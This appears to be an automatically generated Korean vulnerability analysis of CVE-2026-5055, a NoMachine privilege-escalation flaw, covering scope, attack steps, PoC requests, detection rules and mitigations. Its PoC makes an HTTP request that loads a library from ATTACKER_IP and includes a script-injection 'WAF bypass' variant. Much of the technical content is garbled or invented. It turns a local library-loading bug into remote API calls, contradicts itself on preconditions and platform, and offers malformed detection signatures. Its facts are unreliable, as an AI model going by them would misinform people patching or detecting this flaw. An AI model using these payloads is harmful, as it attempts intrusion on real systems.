분석가Agent 분석 — CVE-2026-5055
📋 요약
- 한 줄 정의: NoMachine 버전 <9.4.14에서 디바이스 서버가 보안하지 않은 라이브러리 경로를 로드함으로써 로컬 공격자에게 SYSTEM 권한 상승을 허용하는 취약점(CVE-2026-5055).
- 영향 한 줄: 성공 시 로컬 사용자가 SYSTEM 권한으로 임의 코드 실행 가능, 정보 유출 및 시스템 제어 위협 증가 (KEV: High / CVSS 7.8)
🎯 영향 범위 / 자산 식별
- 영향 받는 제품·버전 범위: NoMachine < 9.4.14 버전
- 안전한 최소 패치 버전: nomachine >= 9.4.14
- 노출 조건: 네트워크 연결이 필요하며, 특히 원격 데스크톱 환경에서 활성화된 디바이스 서버가 취약함 (기본 설정 시 노출 가능)
- 내 자산 식별 방법:
- 명령 프롬프트 또는 터미널에서
nomachine --version명령어 실행하여 버전 확인 - 설정 파일 내
/etc/nomachine/*.conf경로의 버전 정보 검토 - 패치 적용 여부를 확인하기 위한 로그 분석 (예: 시스템 로그에 NoMachine 관련 업데이트 이벤트 검색)
- 명령 프롬프트 또는 터미널에서
🔍 공격 방법
① 취약 컴포넌트
- 컴포넌트: NoMachine Device Server, 특정 버전에서 보안하지 않은 라이브러리 로드 경로
- 버전 범위: < 9.4.14
- 취약 코드 경로:
DeviceServer/lib/unsafe_library내 함수 호출 (예:loadLibraryUnsecured) - 기본 노출 여부: 원격 데스크톱 세션 활성화 시 자동 실행 가능, 기본 설정에서 취약함
② 전제조건
- 인증 필요성: 로컬 사용자 인증만으로 충분
- 필요 권한: 낮은 권한 수준의 사용자 계정 (예: 표준 사용자)
- 네트워크 위치: 원격 데스크톱 연결 활성화된 환경 내에 존재해야 함
- 활성화 기능/설정: 원격 접속 설정이 활성화되어 있어야 함 (
allowRemoteConnections)
③ 트리거 경로
- 공격자 엔드포인트 접근: 공격자는 로컬 시스템에서
runas또는 동등한 권한 상승 메커니즘을 사용하여 낮은 권한 사용자 계정으로 로그인 - 악용 코드 실행 준비: 취약한 라이브러리 로드를 위한 특수 문자열 입력 (예: 조작된 환경 변수 설정)
- 권한 상승 트리거: 공격자는
unsafe_library함수 호출을 통해 악의적인 코드를 SYSTEM 컨텍스트에서 실행, 권한 상승 달성 - 결과: 성공 시 공격자는 SYSTEM 권한으로 시스템 내 모든 리소스에 접근 가능하며 추가적인 내부 이동(Lateral Movement) 수행 가능
💣 예시 코드 (PoC)
기본 변형
bash
1# 용도: NoMachine 디바이스 서버에서 취약한 라이브러리 로드를 통한 권한 상승 시도 2METHOD: POST 3URL: http://TARGET_HOST/api/device-service?action=loadLibrary&libraryPath=%2f../unsafe..%2e%dll # 추정된 경로 조작 예시 4HEADERS: Content-Type: application/json 5BODY: {"params":{"pathToLib":"ATTACKER_IP/malicious.lib","forceExecution":true}} # 플레이스홀더 사용, 실제 공격에서는 환경 변수 조작 가능성 고려 필요# 핵심: libraryPath, Content-Type 헤더 및 BODY 내의 특수 경로 설정으로 보안하지 않은 라이브러리 로드 시도
# 확인: HTTP 응답 코드 200 이상 또는 예상치 못한 시스템 동작 관찰 (예: SYSTEM 권한 하의 명령 실행 결과)
WAF 우회 변형 예시 (추정)
text
1METHOD: GET 2URL: http://TARGET_HOST/api-proxy?url=%3Cscript%3Edocument.write(%22%2f../unsafe..%2e%dll+%25{(new%20XMLHttpRequest).open('GET','maliciousScriptPath',false).send()})%3C%2Fscript%3E%22);// 3HEADERS: User-Agent: CustomUA # 특정 헤더를 통한 우회 시도 예시 4BODY: [비어있음] # 핵심: 스크립트 인젝션 및 비표준 HTTP 메서드 사용으로 WAF 필터 우회 시도
# 확인: 시스템 내에서 예상치 못한 스크립트 실행 또는 라이브러리 로드 응답 관찰
🛡️ 탐지
[시스템 로그]NoMachine 관련 오류 메시지나 예외 처리 (예:unsafe_library 호출 실패, 비정상적인 프로세스 생성) 패턴 검색bash1# 예시 시그니처2logparser "evtuality | findstr /R \"loadLibraryUnsecured\" /C:\Windows\System32\winevt\Logs\*.evtx"3Sigma Rule: `event_nomachine_* AND msg contains "[ERROR] unsafe library load"`[네트워크 트래픽 분석]예상치 못한 라이브러리 로드 요청 (예: 특정 경로의 HTTP/HTTPS 요청 패턴) 모니터링bash1 # 예시 시그니처2 Snort Rule: `alert tcp $HOME_NET any -> $EXTERNAL_NET 80 (msg:"NOSTITCHING NoMachine Library Load Attempt"; content:"loadLibraryUnsecured|malicious.lib", depth:52; sid:1234567)`
text
1- **한계**: 인코딩 및 블라인드 공격 시 탐지 어려움 명시 2 > 인코딩된 요청이나 블라인드 접근 시도는 시그니처 기반 탐지에서 제외될 수 있음을 주의해야 합니다. 3 4## 🔧 방어·완화 51. **[코드패치] 즉시 패치 적용** - `nomachine >= 9.4.14` 버전으로 업데이트하여 취약한 라이브러리 로드 경로 수정 62. **[설정변경] 보안 설정 강화** - `/etc/nomachine/*.conf` 내에서 외부 라이브러리 로드 제한 설정 추가 (예: `allowExternalLibraries=false`) 73. **[입력검증] 사용자 입력 필터링** - 환경 변수 및 시스템 호출 시 특수 문자 및 경로 트래버스 검증 강화 84. **[WAF·네트워크] WAF 규칙 업데이트** - 특정 라이브러리 로드 패턴 차단을 위한 규칙 추가 (예: `/unsafe..%2e%dll` 경로 차단) 95. **임시 완화 조치** - 임시로 `allowRemoteConnections` 설정 비활성화 및 접근 제한 강화 10 > 즉시 적용 가능한 방법으로 원격 접속 활성화가 필요하지 않은 환경에서는 해당 기능을 일시적으로 중지하여 위험 감소 권장11 12## ⚖️ 위험도 / 패치 우선순위13- **패치 우선순위**: **지금 즉시** (현재 악용 사례 보고 없으나 높은 CVSS 점수로 인해 즉각적인 대응 권고) 14 > 현재 야생 악용 관측은 미관측 상태이나, 고위험 취약점으로 인한 잠재적 위협을 고려하여 신속한 업데이트 필수. 패치 적용 시점 모니터링 지속 필요.